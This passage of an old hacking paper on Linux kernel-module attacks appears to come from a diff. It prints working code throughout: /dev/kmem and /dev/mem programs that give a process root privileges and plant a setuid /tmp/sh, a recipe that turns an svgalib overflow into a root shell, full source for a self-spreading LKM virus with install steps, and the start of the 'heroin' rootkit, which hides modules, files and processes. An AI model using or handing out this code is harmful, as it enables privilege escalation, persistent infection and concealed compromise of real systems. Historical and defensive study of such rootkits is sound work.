maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; + int swappable:1; + unsigned long swap_address; + unsigned long old_maj_flt; + unsigned long dec_flt; + unsigned long swap_cnt; + struct rlimit rlim[RLIM_NLIMITS]; + unsigned short used_math; + char comm[16]; + int link_count; + struct tty_struct *tty; + struct sem_undo *semundo; + struct sem_queue *semsleeping; + struct desc_struct *ldt; + struct thread_struct tss; + struct fs_struct *fs; + struct files_struct *files; + struct mm_struct *mm; + struct signal_struct *sig; + #ifdef __SMP__ + int processor; + int last_processor; + int lock_depth; + #endif +}; +*/ + +int main(int argc, char *argv[]) +{ + unsigned long task[NR_TASKS]; + /*used for the PID task structure*/ + struct task_struct current; + int kmemh; + int i; + pid_t pid; + int retval; + + pid = atoi(argv[2]); + + kmemh = open("/dev/kmem", O_RDWR); + + /*seek to memory address of the first task structure*/ + lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); + read(kmemh, task, sizeof(task)); + + /*iterate till we found our task structure (identified by PID)*/ + for (i = 0; i < NR_TASKS; i++) + { + lseek(kmemh, task[i], SEEK_SET); + read(kmemh, &current, sizeof(current)); + /*is it our process?*/ + if (current.pid == pid) + { + /*yes, so change the UID fields...*/ + current.uid = current.euid = 0; + current.gid = current.egid = 0; + /*write them back to memory*/ + lseek(kmemh, task[i], SEEK_SET); + write(kmemh, &current, sizeof(current)); + printf("Process was found and task structure was modified\n"); + exit(0); + } + } +} + + +Nothing special about this little program. It's just like searching a certain +pattern in a file and changing some fields. There are lots of programs out +there which are doing stuff like that. As you can see the example above won't +help you attacking a system, it's just for demonstration (but there mayby some +poor systems allowing users to write to /dev/kmem, I don't know).
    +The same way you can change the module structures responsible for holding the +kernel's module information. This way you can also hide a module, just by +patching kmem; I don't present an implementation of this, because it is basicly +the same as the program above (ok, the searching is a bit harder ;)).
    +The way above we modified a kernel structure. There are some programs doing +things like that. But what about functions ? Well seach the internet and you +will soon recognize that there are not so many programs doing things like that. +Well, of course patching a kernel function (we will do more useful things later) +is a bit tricky. The best way would be to play with the sys_call_table structure +which will point to a completely new function made by us. Otherwise there would +be some problems concerning function size and so on. The following example is +just a very easy program making every systemcall doing nothing. I just insert +a RET(0xc3)at the beginning of the function address that I get from /proc/ksyms. +This way the function will return immediately doing nothing.
    + + +/*again no error checking*/ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <fcntl.h> + +/*just our RET opcode*/ +unsigned char asmcode[]={0xc3}; + +int main(int argc, char *argv[]) +{ + unsigned long counter; + int kmemh; + + /*open device*/ + kmemh = open("/dev/kmem", O_RDWR); + + /*seek to memory address where the function starts*/ + lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); + + /*write our patch byte*/ + write(kmemh, &asmcode, 1): + + close(kmemh); +} + + +Let's summarize what we know so far : We can modify any kernel symbol; this +includes things like sys_call_table[] and any other function or structure.
    +Remember that every kernel patching can only be done if we can access /dev/kmem +but there are also ways how to protect this file. Take a look at III.5.5. + +

    2.1 How to find kernel symbols in /dev/kmem

    + +After the basic examples above you could ask how to modify any kernel symbol +and how to find interesting ones. In the example above we used /proc/ksyms to +get the address we need to modify a symbol. But what do we have on systems +with no lkm support build into their kernel, there won't be a /proc/ksyms file, +because it is only used for module management (public / available symbols)? +And what about kernel symbols that are not exported, how can we modify them ?
    +Many questions, so let's find some solutions. Silvio Cesare discussed some +ways finding different kernel symbols (public & non-public ones). He outlines +that while compiling the linux kernel a file called 'System.map' is created +which maps every kernel symbol to a fixed address. This file is only needed +during compilation for resolving those kernel symbols. The running systems has +no need for that file.The addresses used for compilation are the same we can use +to seek /dev/kmem. So the general approach would be : +
      +
    • lookup System.map for the needed kernel symbol
      +
    • take the address we found
      +
    • modify the kernel symbol (structure, function, or whatever)
      +
    +Sounds quite easy. But there is one big problem. Every system which does not +use exactly our kernel will have other addresses for their kernel symbols.
    +And on most systems you won't find a helpful System.map file telling us every +address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take +your kernel, read the first 10 bytes (just a random value) of a symbol address +and take them as a key for searching the same symbol in another kernel.
    +If you cannot build a generic key for a certain symbol you may try to find some +relations from this symbol to other kernel symbols you can create generic keys +for. Finding relations can be done by looking up the kernel sources; this way +you can also find interesting kernel symbols you could modify (patch).
    + +

    2.2 The new 'insmod' working without kernel support

    + +Now it's time to go back to our LKM hacking. This section will give you some +hints concerning Silvio Cesare's kinsmod program. I will only outline the +general working. The most complicated part of the program is the objectcode +handling (elf file) and its kernel space mapping. But this is only a problem +of the elf header processing nothing kernel specific. Silvio Cesare used elf +files because this way you can insert [normal] LKMs. It would also be possible +to write a file (just opcodes -> see me RET example) and inserting this file +which would be harder to could but essier to map. For those who really want to +understand the elf file handling I added Silvio Cesare's file to this text (I've +also done it because Silvio Cesare wants his sources / ideas only be distributed +within the whole file).
    +Now it's time to look at the general ideas of inserting LKMs on a system without +support for that feature.
    +The first problem we are faced to if we want to insert code (a LKM or whatever) +into the kernel is the need for memory. We can't take a random address and write +our objectcode to /dev/kmem. So where can we put our code in a way it does not +hurt the running system and will not be removed due to some memory operation in +kernel space. There's one place where we can insert a bit of code, take a look +at the following figure showing the general kernel memory : + + kernel data + ... + kmalloc pool + +The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)). +We cannot put our code into this pool because we cannot be sure that the address +space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool +borders in memory are saved in memory_start and memory_end which are exported +by the kernel (see /proc/ksyms). The interesting point about this is that the +start address (memory_start) is not exactly the kmalloc pool start adress, +because this address is aligned to the next page border of memory_start.So there +is a bit of memory which will never be used (between memory_start and the real +start of the kmalloc pool). This is the best place to insert our code. Ok this +is not the whole story, you may recognize that no useful LKM will fit into this +little buffer. Silvio Cesare used some bootstrap code he put into this little +buffer; this code loads the actual LKM. This way we can load LKMs on systems +without support for this. Please read Silvio Cesare's paper for a in-depth +discussion on actually mapping a LKM file (elf format) into the kernel; this +is a bit difficult. + +

    3. Last words

    + +Section 2 was nice, but what about systems which do not permit access to kmem? +Well a last way would be inserting/modifying kernel space with the help of some +kernel bugs. There are always some buffer overflows and other problems in kernel +space. Also consider checking modules for some bugs. Just take a look at the many +source files of the kernel. Even user space programs can help us to modify the +kernel.
    +Bear in mind, that some weeks months ago a bug concerning svgalib was found. Every program +using svgalib gets a handle with write permissions to /dev/mem. /dev/mem can also +be used for RKP with the same adresses as /dev/kmem. So look at the following +list, to get some ideas how to do RKP on very secure systems : +
      +
    • find a program that uses svgalib
      +
    • check the source of that program for common buffer overflows (should be not +too hard) +
    • write an exploit which starts a program using the open /dev/mem write handle +to manipulate the appropriate task structure to make your process UID 0 +
    • create a root shell +
    +This generic scheme works very fine (zgv, gnuplot or some know examples). For +patching the task structure some people use the following program (which uses +the open write handle) by Nergal : + +/* by Nergal */ +#define SEEK_SET 0 + +#define __KERNEL__ +#include <linux/sched.h> +#undef __KERNEL__ + +#define SIZEOF sizeof(struct task_struct) + +int mem_fd; +int mypid; + +void +testtask (unsigned int mem_offset) +{ + struct task_struct some_task; + int uid, pid; + lseek (mem_fd, mem_offset, SEEK_SET); + read (mem_fd, &some_task, SIZEOF); + if (some_task.pid == mypid) /* is it our task_struct ? */ + { + some_task.euid = 0; + some_task.fsuid = 0; /* needed for chown */ + lseek (mem_fd, mem_offset, SEEK_SET); + write (mem_fd, &some_task, SIZEOF); + /* from now on, there is no law beyond do what thou wilt */ + chown ("/tmp/sh", 0, 0); + chmod ("/tmp/sh", 04755); + exit (0); + } +} +#define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */ +main () /* by doing strings /proc/ksyms |grep kstat */ +{ + unsigned int i; + struct task_struct *task[NR_TASKS]; + unsigned int task_addr = KSTAT - NR_TASKS * 4; + mem_fd = 3; /* presumed to be opened /dev/mem */ + mypid = getpid (); + lseek (mem_fd, task_addr, SEEK_SET); + read (mem_fd, task, NR_TASKS * 4); + for (i = 0; i < NR_TASKS; i++) + if (task[i]) + testtask ((unsigned int)(task[i])); + +} + +This was just an example to show you that there is always one way, you only have +to find it. Systems with stack execution patches, you could look for heap +overflows or just jump into some library functions (system(...)). There are thousand +ways...
    +I hope this last section gave you some ideas how to proceed. + + + +

    V. The near future : Kernel 2.2.x

    +
    +

    + +

    1. Main Difference for LKM writer's

    + +Linux has a new Kernel major Version 2.2 which brings some little changes to LKM +coding. This part will help you to make the change, and outline the biggest +changes. [Note : There will be another release concentrating on the new kernel]
    +I will show you some new macros / functions which will help you to develope +LKMs for Kernel 2.2. For an exact listing of every change take a look at the +new Linux/module.h include file, which was totally rewritten for Kernel 2.1.18. +First we will look at some macros which will help us to handle the System Table +in an easier way : + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    macrodescription
    EXPORT_NO_SYMBOLS;this one is equal to register_symtab(NULL) for older kernel versions
    EXPORT_SYMTAB;this one must be defined before linux/module.h if you want to export some symbols
    EXPORT_SYMBOL(name);export the symbol named 'name'
    EXPORT_SYMBOL_NOVERS + (name);export without version information
    + +The user space access functions were also changed a bit, so I will list them +here (just include asm/uaccess.h to use them) : + + + + + + + + + + + + + + + + + + + + + + + +
    functiondescription
    int access_ok +(int type, unsigned long +addr, unsigned long size);this function checks whether the current process is allowed to access addr
    unsigned long +copy_from_user +(unsigned long to, +unsigned long from, +unsigned long len);this is the 'new' memcpy_tofs function
    unsigned long +copy_to_user +(unsigned long to, +unsigned long from, +unsigned long len);this is the counterpart of copy_from_user(...)
    + +You don't need to use access_ok(...) because the function listed above check +this themselves. +There are many more differences, but you should really take a look at linux/module.h +for a detailed listing.
    +I want to mention one last thing. I wrote lots of stuff on the kerneldaemon +(kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of +implementing the request_module(...) kernel space function - it's called kmod. +kmod totally runs in kernel space (no IPC to user space any more). For LKM +programmers nothing changes, you can still use the request_module(...) for +loading modules. So the LKM infectors could use this also on kernel 2.2 systems.
    +I'm sorry about this little kernel 2.2 section, but at the moment I am working +on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch +out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD, +for example) but this will take some months. + + + + +

    VI. Last Words

    +
    +

    + +

    1. The 'LKM story' or 'how to make a system plug & hack compatible'

    + +You may wounder how insecure LKMs are and why they are used in such an insecure +ways. Well LKMs are designed to make life easier especially for users.Linux fights +agains Microsoft, so developers need a way to make the old unix style a bit more +attractive and easier. They implement things like KDE and other nice things. +Kerneld, for example, was developed in order to make module handling easier. +But remember, the easier and more automated a system is the more problems +concerning security are possible. It is impossible to make a system usable by +everyone and being secure enough. Modules are a great example for this.
    +Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good +idea, with a cruel securiy design for keeping everything simple.
    +So dear Linux developers : Be careful, and don't make the fault Microsoft made, +don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !
    +This text should also make clear that the kernel of any system must be protected +in the best way available.It must be impossible for attackers to modify the most +important item of your whole system. I leave this task to all system designers +out there :). + +

    2. Links to other Resources

    + +Here are some interesting links about LKMs (not only hack & securiy related):
    + +[Internet]
    + +http://www.linuxhq.com
    +everything on Linux + nice kernel links
    +http://www.linuxlinks.com
    +lots of links concerning Linux
    +http://www.linux.org
    +'propaganda' page for Linux
    +http://www.lwn.net
    +weekly Linux news; very interesting there are also kernel / securiy sections
    +http://www.phrack.com
    +read issue 50 & 52 for interesting module information
    +http://www.rootshell.com
    +they have some nice LKMs
    +http://www.geek-girl.com/bugtraq/
    +there were some discussions on LKM security
    +http://hispahack.ccc.de
    +HISPAHACK homepage
    +http://www.thc.org
    +THC homepage (articles, magazines and lots of tools)
    +http://www.antisearch.com
    +one of the best security / hacking related search engines I know
    +http://www.kernel.org
    +get the kernel and study it !
    +

    +[Books]
    + +Linux-Kernel-Programming (Addison Wesley)
    +A very good book. I read the german version but I think there is also an english +version. +

    +Linux Device Drivers (O'Reilly)
    +A bit off topic, but also very interesting. The focus is more on writing LKMs +as device drivers. + +

    Acknowledgements

    + +

    +Thanks for sources / ideas fly to : +

    +plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1, +Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare, +daemon9, Nergal, van Hauser (especially for showing me some bugs) and those +nameless individuals providing us with their ideas (there are so many) ! + + +

    Greets

    + +groups : THC, deep, ech0, ADM, =phake=
    +

    +personal : +

    van Hauser - thanks for giving me the chance to learn
    +
    mindmaniac - thanks for introducing 'the first contact'
    + + +

    +

    +background music groups (helping me to concentrate on writing :):
    +Neuroactive, Image Transmission, Panic on the Titanic, Dracul + +

    +


    +

    +


    +

    + + + + +

    A - Appendix

    + +

    + + +Here you will find some sources.If the author of the LKM also published some +notes / texts which are interesting, they will also be printed.
    + +

    LKM Infector

    + +NAME : moduleinfect.c
    +AUTHOR : Stealthf0rk/SVAT
    +DESCRIPTION : This is the first published LKM infector which was discussed + II.8. This LKM has no destruction routine, it's just an + infector, so experimenting should be quite harmless.
    +LINK : http://www.rootshell.com
    + + +/* SVAT - Special Virii And Trojans - present: + * + * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=- + * + * 0kay guys, here we go... + * As i told you with VLP I (we try to write an fast-infector) + * here's the result: + * a full, non-overwriting module infector that catches + * lkm's due to create_module() and infects them (max. 7) + * if someone calls delete_module() [even on autoclean]. + * Linux is not longer a virii-secure system :( + * and BSD follows next week ... + * Since it is not needed 2 get root (by the module) you should pay + * attention on liane. + * Note the asm code in function init_module(). + * U should assemble your /usr/src/.../module.c with -S and your CFLAG + * from your Makefile and look for the returnvalue from the first call + * of find_module() in sys_init_module(). look where its stored (%ebp for me) + * and change it in __asm__ init_module()! (but may it is not needed) + * + * For education only! + * Run it only with permisson of the owner of the system you are logged on!!! + * + * !!! YOU USE THIS AT YOUR OWN RISK !!! + * + * I'm not responsible for any damage you may get due to playing around with this. + * + * okay guys, you have to find out some steps without my help: + * + * 1. $ cc -c -O2 module.c + * 2. get length of module.o and patch the #define MODLEN in module.c + * 3. $ ??? + * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o + * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o + * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< + * 6. $ insmod ??? + * + * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and + * kernel 2.0.33. It works. + * + * greets (in no order...) + * <><><><><><><><><><><><> + * + * NetW0rker - tkx for da sources + * Serialkiller - gib mir mal deine eMail-addy + * hyperSlash - 1st SVAT member, he ? + * naleZ - hehehe + * MadMan - NetW0rker wanted me to greet u !? + * KilJaeden - TurboDebugger and SoftIce are a good choice ! + * + * and all de otherz + * + * Stealthf0rk/SVAT <stealth@cyberspace.org> + */ + +#define __KERNEL__ +#define MODULE +#define MODLEN 7104 +#define ENOUGH 7 +#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); +#define END_KMEM set_fs(old_fs);} + + +/* i'm not sure we need all of 'em ...*/ + +#include <linux/version.h> +#include <linux/mm.h> +#include <linux/unistd.h> +#include <linux/fs.h> +#include <linux/types.h> +#include <asm/errno.h> +#include <asm/string.h> +#include <linux/fcntl.h> +#include <sys/syscall.h> +#include <linux/module.h> +#include <linux/malloc.h> +#include <linux/kernel.h> +#include <linux/kerneld.h> + +#define __NR_our_syscall 211 +#define MAXPATH 30 +/*#define DEBUG*/ +#ifdef DEBUG + #define DPRINTK(format, args...) printk(KERN_INFO format,##args) +#else + #define DPRINTK(format, args...) +#endif + +/* where the sys_calls are */ + +extern void *sys_call_table[]; + +/* tested only with kernel 2.0.33, but thiz should run under 2.x.x + * if you change the default_path[] values + */ + +static char *default_path[] = { + ".", "/linux/modules", + "/lib/modules/2.0.33/fs", + "/lib/modules/2.0.33/net", + "/lib/modules/2.0.33/scsi", + "/lib/modules/2.0.33/block", + "/lib/modules/2.0.33/cdrom", + "/lib/modules/2.0.33/ipv4", + "/lib/modules/2.0.33/misc", + "/lib/modules/default/fs", + "/lib/modules/default/net", + "/lib/modules/default/scsi", + "/lib/modules/default/block", + "/lib/modules/default/cdrom", + "/lib/modules/default/ipv4", + "/lib/modules/default/misc", + "/lib/modules/fs", + "/lib/modules/net", + "/lib/modules/scsi", + "/lib/modules/block", + "/lib/modules/cdrom", + "/lib/modules/ipv4", + "/lib/modules/misc", + 0 +}; + +static struct symbol_table my_symtab = { + #include <linux/symtab_begin.h> + X(printk), + X(vmalloc), + X(vfree), + X(kerneld_send), + X(current_set), + X(sys_call_table), + X(register_symtab_from), + #include <linux/symtab_end.h> +}; + +char files2infect[7][60 + 2]; + +/* const char kernel_version[] = UTS_RELEASE; */ + +int (*old_create_module)(char*, int); +int (*old_delete_module)(char *); +int (*open)(char *, int, int); +int (*close)(int); +int (*unlink)(char*); + +int our_syscall(int); +int infectfile(char *); +int is_infected(char *); +int cp(struct file*, struct file*); +int writeVir(char *, char *); +int init_module2(struct module*); +char *get_mod_name(char*); + +/* needed to be global */ + +void *VirCode = NULL; + +/* install new syscall to see if we are already in kmem */ +int our_syscall(int mn) +{ + /* magic number: 40hex :-) */ + if (mn == 0x40) + return 0; + else + return -ENOSYS; +} + +int new_create_module(char *name, int size) +{ + int i = 0, j = 0, retval = 0; + + if ((retval = old_create_module(name, size)) < 0) + return retval; + /* find next free place */ + for (i = 0; files2infect[i][0] && i < 7; i++); + if (i == 6) + return retval; + /* get name of mod from user-space */ + while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60) + j++; + DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i); + return retval; +} + +/* we infect modules after sys_delete_module, to be sure + * we don't confuse the kernel + */ + +int new_delete_module(char *modname) +{ + static int infected = 0; + int retval = 0, i = 0; + char *s = NULL, *name = NULL; + + + retval = old_delete_module(modname); + + if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) + return retval; + + for (i = 0; files2infect[i][0] && i < 7; i++) { + strcat(files2infect[i], ".o"); + if ((s = get_mod_name(files2infect[i])) == NULL) { + return retval; + } + name = strcpy(name, s); + if (!is_infected(name)) { + DPRINTK("try 2 infect %s as #%d\n", name, i); + infected++; + infectfile(name); + } + memset(files2infect[i], 0, 60 + 2); + } /* for */ + /* its enough */ + if (infected >= ENOUGH) + cleanup_module(); + vfree(name); + return retval; +} + + +/* lets take a look at sys_init_module(), that calls + * our init_module() compiled with + * CFLAG = ... -O2 -fomit-frame-pointer + * in C: + * ... + * if((mp = find_module(name)) == NULL) + * ... + * + * is in asm: + * ... + * call find_module + * movl %eax, %ebp + * ... + * note that there is no normal stack frame !!! + * thats the reason, why we find 'mp' (return from find_module) in %ebp + * BUT only when compiled with the fomit-frame-pointer option !!! + * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp) + * you should find mp at -4(%ebp) . + * thiz is very bad hijacking of local vars and an own topic. + * I hope you do not get an seg. fault. + */ + +__asm__ +(" + +.align 16 +.globl init_module + .type init_module,@function + +init_module: + pushl %ebp /* ebp is a pointer to mp from sys_init_module() */ + /* and the parameter for init_module2() */ + call init_module2 + popl %eax + xorl %eax, %eax /* all good */ + ret /* and return */ +.hype27: + .size init_module,.hype27-init_module +"); + + /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work: + * + * pushl %ebx + * movl %ebp, %ebx + * pushl -4(%ebx) + * call init_module2 + * addl $4, %esp + * xorl %eax, %eax + * popl %ebx + * ret + */ + +/*----------------------------------------------*/ + +int init_module2(struct module *mp) +{ + char *s = NULL, *mod = NULL, *modname = NULL; + long state = 0; + + mod = vmalloc(60 + 2); + modname = vmalloc(MAXPATH + 60 + 2); + if (!mod || !modname) + return -1; + strcpy(mod, mp->name); + strcat(mod, ".o"); + + + MOD_INC_USE_COUNT; + DPRINTK("in init_module2: mod = %s\n", mod); + + /* take also a look at phrack#52 ...*/ + mp->name = ""; + mp->ref = 0; + mp->size = 0; + + /* thiz is our new main ,look for copys in kmem ! */ + if (sys_call_table[__NR_our_syscall] == 0) { + old_delete_module = sys_call_table[__NR_delete_module]; + old_create_module = sys_call_table[__NR_create_module]; + sys_call_table[__NR_our_syscall] = (void*)our_syscall; + sys_call_table[__NR_delete_module] = (void*)new_delete_module; + sys_call_table[__NR_create_module] = (void*)new_create_module; + memset(files2infect, 0, (60 + 2)*7); + register_symtab(&my_symtab); + } + open = sys_call_table[__NR_open]; + close = sys_call_table[__NR_close]; + unlink = sys_call_table[__NR_unlink]; + + if ((s = get_mod_name(mod)) == NULL) + return -1; + modname = strcpy(modname, s); + load_real_mod(modname, mod); + vfree(mod); + vfree(modname); + return 0; +} + +int cleanup_module() +{ + sys_call_table[__NR_delete_module] = old_delete_module; + sys_call_table[__NR_create_module] = old_create_module; + sys_call_table[__NR_our_syscall] = NULL; + DPRINTK("in cleanup_module\n"); + vfree(VirCode); + return 0; +} + +/* returns 1 if infected; + * seek at position MODLEN + 1 and read out 3 bytes, + * if it is "ELF" it seems the file is already infected + */ + +int is_infected(char *filename) +{ + char det[4] = {0}; + int fd = 0; + struct file *file; + + DPRINTK("in is_infected: filename = %s\n", filename); + BEGIN_KMEM + fd = open(filename, O_RDONLY, 0); + END_KMEM + if (fd <= 0) + return -1; + if ((file = current->files->fd[fd]) == NULL) + return -2; + file->f_pos = MODLEN + 1; + DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos); + BEGIN_KMEM + file->f_op->read(file->f_inode, file, det, 3); + close(fd); + END_KMEM + DPRINTK("in is_infected: det = %s\n", det); + if (strcmp(det, "ELF") == 0) + return 1; + else + return 0; +} + +/* copy the host-module to tmp, write VirCode to + * hostmodule, and append tmp. + * then delete tmp. + */ + + +int infectfile(char *filename) +{ + char *tmp = "/tmp/t000"; + int in = 0, out = 0; + struct file *file1, *file2; + + BEGIN_KMEM + in = open(filename, O_RDONLY, 0640); + out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); + END_KMEM + DPRINTK("in infectfile: in = %d out = %d\n", in, out); + if (in <= 0 || out <= 0) + return -1; + file1 = current->files->fd[in]; + file2 = current->files->fd[out]; + if (!file1 || !file2) + return -1; + /* save hostcode */ + cp(file1, file2); + BEGIN_KMEM + file1->f_pos = 0; + file2->f_pos = 0; + /* write Vircode [from mem] */ + DPRINTK("in infetcfile: filenanme = %s\n", filename); + file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); + /* append hostcode */ + cp(file2, file1); + close(in); + close(out); + unlink(tmp); + END_KMEM + return 0; +} + +int disinfect(char *filename) +{ + + char *tmp = "/tmp/t000"; + int in = 0, out = 0; + struct file *file1, *file2; + + BEGIN_KMEM + in = open(filename, O_RDONLY, 0640); + out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); + END_KMEM + DPRINTK("in disinfect: in = %d out = %d\n",in, out); + if (in <= 0 || out <= 0) + return -1; + file1 = current->files->fd[in]; + file2 = current->files->fd[out]; + if (!file1 || !file2) + return -1; + /* save hostcode */ + cp(file1, file2); + BEGIN_KMEM + close(in); + DPRINTK("in disinfect: filename = %s\n", filename); + unlink(filename); + in = open(filename, O_RDWR|O_CREAT, 0640); + END_KMEM + if (in <= 0) + return -1; + file1 = current->files->fd[in]; + if (!file1) + return -1; + file2->f_pos = MODLEN; + cp(file2, file1); + BEGIN_KMEM + close(in); + close(out); + unlink(tmp); + END_KMEM + return 0; +} + +/* a simple copy routine, that expects the file struct pointer + * of the files to be copied. + * So its possible to append files due to copieng. + */ + +int cp(struct file *file1, struct file *file2) +{ + + int in = 0, out = 0, r = 0; + char *buf; + + if ((buf = (char*)vmalloc(10000)) == NULL) + return -1; + + DPRINTK("in cp: f_pos = %d\n", file1->f_pos); + BEGIN_KMEM + while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0) + file2->f_op->write(file2->f_inode, file2, buf, r); + file2->f_inode->i_mode = file1->f_inode->i_mode; + file2->f_inode->i_atime = file1->f_inode->i_atime; + file2->f_inode->i_mtime = file1->f_inode->i_mtime; + file2->f_inode->i_ctime = file1->f_inode->i_ctime; + END_KMEM + vfree(buf); + return 0; +} + +/* Is that simple: we disinfect the module [hide 'n seek] + * and send a request to kerneld to load + * the orig mod. N0 fuckin' parsing for symbols and headers + * is needed - cool. + */ +int load_real_mod(char *path_name, char *name) +{ + int r = 0, i = 0; + struct file *file1, *file2; + int in = 0, out = 0; + + DPRINTK("in load_real_mod name = %s\n", path_name); + if (VirCode) + vfree(VirCode); + VirCode = vmalloc(MODLEN); + if (!VirCode) + return -1; + BEGIN_KMEM + in = open(path_name, O_RDONLY, 0640); + END_KMEM + if (in <= 0) + return -1; + file1 = current->files->fd[in]; + if (!file1) + return -1; + /* read Vircode [into mem] */ + BEGIN_KMEM + file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); + close(in); + END_KMEM + disinfect(path_name); + r = request_module(name); + DPRINTK("in load_real_mod: request_module = %d\n", r); + return 0; +} + +char *get_mod_name(char *mod) +{ + int fd = 0, i = 0; + static char* modname = NULL; + + if (!modname) + modname = vmalloc(MAXPATH + 60 + 2); + if (!modname) + return NULL; + BEGIN_KMEM + for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) { + memset(modname, 0, MAXPATH + 60 + 2); + modname = strcpy(modname, default_path[i]); + modname = strcat(modname, "/"); + modname = strcat(modname, mod); + if ((fd = open(modname, O_RDONLY, 0640)) > 0) + break; + } + close(fd); + END_KMEM + if (!default_path[i]) + return NULL; + return modname; +} + + + +

    Herion - the classic one

    + + +NAME : Heroin
    +AUTHOR : Runar Jensen
    +DESCRIPTION : Runar Jensen introduced some nice ideas in his text, which + were the first steps towards our modern Hide LKM by plaguez. + The way Runar Jensen hides the module requires more coder work + than the plaguez (Solar Designer and other people) approach, + but it works. The way Runar Jensen hides processes is also a + bit too complicated (well this text is quite old, and it was + one of the first talking about LKM hacking), He uses a special + signal code (31) in order to set a flag in a process structure + which indicates that this process is going to be hidden, in + the way we discussed in part II.
    + The rest should be clear.
    +LINK : http://www.rootshell.com
    + + +As halflife demonstrated in Phrack 50 with his linspy project, it is trivial +to patch any systemcall under Linux from within a module. This means that +once your system has been compromised at the root level, it is possible for +an intruder to hide completely _without_ modifying any binaries or leaving +any visible backdoors behind. Because such tools are likely to be in use +within the hacker community already, I decided to publish a piece of code to +demonstrate the potentials of a malicious module. + +The following piece of code is a fully working Linux module for 2.1 kernels +that patches the getdents(), kill(), read() and query_module() calls. Once +loaded, the module becomes invisible to lsmod and a dump of /proc/modules by +modifying the output of every query_module() call and every read() call +accessing /proc/modules. Apparently rmmod also calls query_module() to list +all modules before attempting to remove the specified module, and will +therefore claim that the module does not exist even if you know its name. The +output of any getdents() call is modified to hide any files or directories +starting with a given string, leaving them accessible only if you know their +exact names. It also hides any directories in /proc matching pids that have a +specified flag set in its internal task structure, allowing a user with root +access to hide any process (and its children, since the task structure is +duplicated when the process does a fork()). To set this flag, simply send the +process a signal 31 which is caught and handled by the patched kill() call. + +To demonstrate the effects... + +[root@image:~/test]# ls -l +total 3 +-rw------- 1 root root 2832 Oct 8 16:52 heroin.o +[root@image:~/test]# insmod heroin.o +[root@image:~/test]# lsmod | grep heroin +[root@image:~/test]# grep heroin /proc/modules +[root@image:~/test]# rmmod heroin +rmmod: module heroin not loaded +[root@image:~/test]# ls -l +total 0 +[root@image:~/test]# echo "I'm invisible" > heroin_test +[root@image:~/test]# ls -l +total 0 +[root@image:~/test]# cat heroin_test +I'm invisible +[root@image:~/test]# ps -aux | grep gpm +root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm +[root@image:~/test]# kill -31 223 +[root@image:~/test]# ps -aux | grep gpm +[root@image:~/test]# ps -aux 223 +USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND +root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm +[root@image:~/test]# ls -l /proc | grep 223 +[root@image:~/test]# ls -l /proc/223 +total 0 +-r--r--r-- 1 root root 0 Oct 8 16:53 cmdline +lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run +-r-------- 1 root root 0 Oct 8 16:54 environ +lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm +dr-x------ 1 root root 0 Oct 8 16:54 fd +pr--r--r-- 1 root root 0 Oct 8 16:54 maps +-rw------- 1 root root 0 Oct 8 16:54 mem +lrwx------ 1 root root 0 Oct 8 16:54 root -> / +-r--r--r-- 1 root root 0 Oct 8 16:53 stat +-r--r--r-- 1 root root 0 Oct 8 16:54 statm +-r--r--r-- 1 root root 0 Oct 8 16:54 status +[root@image:~/test]# + +The implications should be obvious. Once a compromise has taken place, +nothing can be trusted, the operating system included. A module such as this +could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded +after every reboot, or put in place of a commonly used module and in turn +have it load the required module for an added level of protection. (Thanks +Sean :) Combined with a reasonably obscure remote backdoor it could remain +undetected for long periods of time unless the system administrator knows +what to look for. It could even hide the packets going to and from this +backdoor from the kernel itself to prevent a local packet sniffer from seeing +them. + +So how can it be detected? In this case, since the number of processes is +limited, one could try to open every possible process directory in /proc and +look for the ones that do not show up otherwise. Using readdir() instead of +getdents() will not work, since it appears to be just a wrapper for +getdents(). In short, trying to locate something like this without knowing +exactly what to look for is rather futile if done in userspace... + +Be afraid. Be very afraid. ;) + +.../ru + +----- + +/* + * heroin.c + * + * Runar Jensen <zarq@opaque.org> + * + * This Linux kernel module patches the getdents(), kill(), read() + * and query_module() system calls to demonstrate the potential + * dangers of the way modules have full access to the entire kernel. + * + * Once loaded, the module becomes invisible and can not be removed + * with rmmod. Any files or directories starting with the string + * defined by MAGIC_PREFIX appear to disappear, and sending a signal + * 31 to any process as root effectively hides it and all its future + * children. + * + * This code should compile cleanly and work with most (if not all) + 